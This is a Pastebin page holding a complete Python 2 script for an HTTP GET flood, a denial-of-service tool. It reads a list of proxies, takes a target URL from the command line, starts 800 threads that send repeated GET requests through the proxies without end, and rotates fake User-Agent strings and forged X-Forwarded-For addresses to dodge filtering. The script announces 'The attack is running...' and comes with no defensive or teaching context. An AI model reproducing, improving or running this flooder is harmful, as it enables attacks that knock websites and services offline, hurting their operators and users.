Arbitrator

Untitled

Jan 3rd, 2020
9,338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.29 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf8
  3.  
  4. import random
  5. import socket
  6. import threading
  7. import time
  8. import sys
  9.  
  10. userAgents = ["Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
  11. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
  12. "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
  13. "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
  14. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
  15. "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
  16. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0",
  17. "Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0",
  18. "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0",
  19. "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3",
  20. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  21. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0",
  22. "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))",
  23. "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
  24. "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
  25. "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
  26. "Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00",
  27. "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
  28. "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14",
  29. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
  30. "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
  31. "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
  32. "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00",
  33. "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)",
  34. "HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)",
  35. "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)",
  36. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+",
  37. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  38. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+",
  39. "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  40. "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
  41. "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5",
  42. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
  43. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  44. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
  45. "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3",
  46. "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",]
  47.  
  48. def randomIp():
  49. random.seed()
  50. result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
  51. result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  52. return result
  53.  
  54. def randomIpList():
  55. random.seed()
  56. res = ""
  57. for ip in xrange(random.randint(2, 8)):
  58. res = res + randomIp() + ", "
  59. return res[0:len(res) - 2]
  60.  
  61. def randomUserAgent():
  62. return random.choice(userAgents)
  63.  
  64.  
  65.  
  66. class attacco(threading.Thread):
  67. def run(self):
  68. current = x
  69.  
  70. if current < len(listaproxy):
  71. proxy = listaproxy[current].split(':')
  72. else:
  73. proxy = random.choice(listaproxy).split(':')
  74.  
  75. useragent = "User-Agent: " + randomUserAgent() + "\r\n"
  76. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  77.  
  78. httprequest = get_host + useragent + accept + forward + connection + "\r\n"
  79.  
  80.  
  81.  
  82. while 1:
  83. try:
  84. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  85.  
  86. a.connect((proxy[0], int(proxy[1])))
  87.  
  88. a.send(httprequest)
  89. a.send(httprequest)
  90.  
  91. try:
  92. for i in xrange(3):
  93. a.send(httprequest)
  94. except:
  95. tts = 1
  96.  
  97.  
  98. except:
  99. proxy = random.choice(listaproxy).split(':')
  100.  
  101.  
  102.  
  103. print("HTTP-GET")
  104.  
  105. url = str(sys.argv[1])
  106. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  107.  
  108. in_file = open('http.txt',"r")
  109. proxyf = in_file.read()
  110. in_file.close()
  111.  
  112. listaproxy = proxyf.split('\n')
  113.  
  114. thread = 800
  115.  
  116.  
  117. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  118. accept = "Accept-Encoding: gzip, deflate\r\n"
  119.  
  120. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  121.  
  122. nload = 1
  123.  
  124. x = 0
  125.  
  126. for x in xrange(thread):
  127. attacco().start()
  128. time.sleep(0.0003)
  129.  
  130. print "The attack is running..."
  131. nload = 0
  132.  
  133. #ciclo nabbo in fondo
  134. while not nload:
  135. time.sleep(1)
Add Comment
Please, Sign In to add comment